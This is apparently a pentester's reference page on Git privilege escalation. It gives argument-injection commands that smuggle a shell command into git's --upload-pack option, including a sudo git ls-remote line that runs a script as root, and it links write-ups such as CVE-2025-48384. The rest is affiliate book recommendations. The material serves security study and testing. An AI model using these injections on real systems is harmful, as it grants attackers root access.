Git

Git Exploits: Privilege Escalation

Argument injection - --upload-pack

Rediscovering argument injection when using VCS tools — git and mercurial | SnykSnyk

git ls-remote '--upload-pack=id>/tmp/foo;' foo

$ echo 'ls /tmp > /tmp/ls.txt' > file.sh
$ sudo git ls-remote "--upload-pack=/bin/sh /tmp/file.sh"

git ls remote | Argument Injection Vectorssonarsource.github.io

git clone --recursive

CVE-2025-48384: Git vulnerable to arbitrary file write on non-Windows systemsdatadoghq

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

• The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more

• Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them

• Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.